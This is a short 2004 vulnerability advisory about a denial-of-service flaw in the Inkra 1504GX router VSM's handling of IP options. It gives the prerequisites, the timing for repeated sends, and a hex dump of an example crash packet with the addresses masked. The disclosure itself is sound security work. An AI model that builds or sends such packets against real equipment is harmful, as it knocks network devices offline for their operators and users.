Inkra 1504GX DoS vulnerability in conducting IP protocol
Inkra 1504GX DoS vulnerability in conducting IP protocol
Author:　 Felix Zhou(felix__zhou@xxxxxxxxxxx)
　　　 　　Song Liu (songsong@xxxxxxx)
Release date: 2004-08-25
Affected system:
　　Inkra 1504GX with router VSM release 2.1.4.b003 (didn't test
other products of Inkra).
Detail:
Inkra 1504GX's router VSM(release 2.1.4.b003) does not conduct IP
options properly. And Hackers can construct some kind of packet to
make it crash down.
Fortunately, such situation happens only in the following prerequisites:
1. Router VSM is selected in actived VR.
2. Between Router VSM and the VP, no other VSMs exist.
3. The VP is connected to the IO slot directly.
To make the SPM crash down, you have to send the malformed packet at least 3
times, which is uncertain for you to perform.
Several seconds interval is necessary between the attacks.
--------------- a packet example ---------------------------
xx xx xx xx xx xx (DMAC)
xx xx xx xx xx xx (SMAC)
08 00
4e cc 00 58 15 24 00 00 56 01 xx xx (ip-csum)
xx xx xx xx (SIP)
xx xx xx xx (DIP)
eb 21 ad a6 eb e1 35 9b ce dd
a7 11 ea 5d c5 96 af 47 c1 50
f1 d1 5c 4b 18 9a c1 8a 13 6b
48 5e 74 83 c6 06
aa 9a 5e c2 a6 75 38 44 f8 43
d7 3f ae a1 e0 c6 e3 7c 4b 59
7a 95 1e 70 cc 04 1b 2a d1 6e
38 83
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